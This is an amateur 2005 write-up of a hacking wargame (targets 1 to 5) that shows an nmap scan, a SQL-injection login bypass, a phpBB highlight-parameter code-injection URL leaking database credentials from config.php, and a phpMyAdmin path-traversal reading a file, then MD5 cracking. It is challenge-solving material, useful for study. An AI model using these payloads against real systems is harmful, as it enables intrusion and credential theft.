Whitepapate for Wargames #4 by dinu (Only Tagets 1 to 5)

Hi there

My first time i make a whitepaper and i tryd to hack the wargames server =)

Beginning:

First of all i scan with nmap:

```
# nmap 3.75 scan initiated Mon Jan 31 03:25:49 2005 as: nmap -P0 -p 0-65535 -oN wg4.log wg4
Interesting ports on wg4 (212.254.194.174):
(The 65527 ports scanned but not shown below are in state: closed)
PORT     STATE    SERVICE
22/tcp   open     ssh
25/tcp   open     smtp
80/tcp   open     http
137/tcp  filtered netbios-ns
138/tcp  filtered netbios-dgm
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
587/tcp  open     submission
3306/tcp open     mysql
```

So we Start with Target #1

Find username/password for java-based weblogin. After logging in, I am to get an encrypted string. Then I need to decrypt it.

At first i dont know java =) but i the source of the html file.

Then i downloaded the Password.zip

PrettyPassword$Cnv.class and baseApplet.class.

But there was many strings and i dont find something thaht i could use.

So i Tried to use a sniffer (ethernal) and i found /target1/getpasswords101.txt
And there was username and pass (god/like)

So now i got the string:

```
4d 44 45 77 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d 44 41 77 4d 44 45 67 4d 44 45 78 4d 54 41 77 4d 54
41 67 4d 44 45 78 4d 44 41 78 4d 54 45 67 4d 44 45 78 4d 44 41 78 4d 44 45 67 4d 44 45 78 4d 54 41 78
4d 44 41 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 41 78 4d 54 41 77 4d 44 45 67 4d 44 41 78 4d 44
41 77 4d 44 41 67 4d 44 45 78 4d 44 41 78 4d 44 41 67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 45 78
4d 44 45 78 4d 54 41 67 4d 44 45 78 4d 44 41 78 4d 44 45 67 4d 44 41 78 4d 44 41 77 4d 44 45 67 4d 44
41 78 4d 44 41 77 4d 44 41 67 4d 44 45 77 4d 44 41 77 4d 54 45 67 4d 44 45 78 4d 44 45 78 4d 54 45 67
4d 44 45 78 4d 44 45 78 4d 54 41 67 4d 44 45 78 4d 44 41 78 4d 54 45 67 4d 44 45 78 4d 54 41 77 4d 54
41 67 4d 44 45 78 4d 44 41 77 4d 44 45 67 4d 44 45 78 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d 54 41 78
4d 44 45 67 4d 44 45 78 4d 44 45 78 4d 44 41 67 4d 44 45 78 4d 44 41 77 4d 44 45 67 4d 44 45 78 4d 54
```

41 78 4d 44 41 67 4d 44 45 78 4d 44 45 77 4d 44 45 67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 45 78 4d 44 45 78 4d 54 41 67 4d 44 45 78 4d 54 41 77 4d 54 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 45 78 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 45 78 4d 54 45 77 4d 44 45 67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 45 78 4d 54 41 78 4d 44 45 67 4d 44 41 78 4d 44 41 77 4d 44 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 41 78 4d 54 45 77 4d 54 41 67 4d 44 41 78 4d 44 45 78 4d 44 45 67 4d 44 41 78 4d 44 45 77 4d 44 45 67

Then i used the astaöavista online converter

hex to ascii, then base64, then bin to ascii

Target 1 done! Congratulations to you! :-)

:p

Target #2

You have a access to a website listing the names of all users already done this part. To add a name, you have to login into an admin-panel. Find a way to log in and add you name to the list!

The first i thinket SQL-injection?

so i testet out some combination with username an pass and i was lucky: ' or 1=1 or ='
worket =)

Target #3

The „only thing“ you have to do: Get administrator / moderator rights. After you have done this, write a posting in the „Administrators only“-Board, NOTHING MORE. Do not change anything of the board configuration!

I test with phpbb exploit to get root, its dosnt work :/

hmm so i thinkt maybe i first should get acces to phpadmin

i tryed(convertet)(google search)

http://212.254.194.174/phpBB/viewtopic.php?t=10&highlight=%2527%252e$phpbb_root_path=mysql_result(mysql_query(chr(115)%252echr(104)%252echr(111)%252echr(119)%252echr(32)%252echr(116)%252echr(97)%252echr(98)%252echr(108)%252echr(101)%252echr(115)),0)%252e%2527

I converted from mysql

strstr(file_get_contents(/srv/www/phpBB/config.php),dbuser)

to see user

http://212.254.194.174/phpBB/viewtopic.php?t=10&highlight=%2527%252e$phpbb_root_path=strstr(file_get_contents(chr(47)%252echr(115)%252echr(114)%252echr(118)%252echr(47)%252echr(119)%252echr(119)%252echr(119)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(66)%252echr(66)%252echr(47)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(105)%252echr(103)%252echr(46)%252echr(112)%252echr(104)%252echr(112)),dbuser)%252e%2527

and return was

Warning: main(dbuser = 'mysqluser'; $dbpasswd = 'wargames4'; $table_prefix = 'forum_'; define('PHPBB_INSTALLED', true); ?>)\b#iincludes/page_tail.php) [function.main]: failed to create stream: No such file or directory in /srv/www/phpBB/viewtopic.php on line 1208

so if got username and pass =)

so now i can change my user privilegs and make table

Target 3 + 4 done =)

Target 5#

hmm so im logged in phpmyaddmin, how can i get the magic word? i search google about phpmyadmin exploits and found:
http://www.securityfocus.com/bid/9564/exploit/

so i testet it

http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../etc/magicword%00

and if got a string

81dc9bdb52d04dc20036dbd8313ed055

now i startet cain and used the md5 decrypter, so easy was the magic word decryptet =)

now to target 6 :/

until now no solution

sry for my bad englisch :p

greetz dinu

dinu@ourmail.ch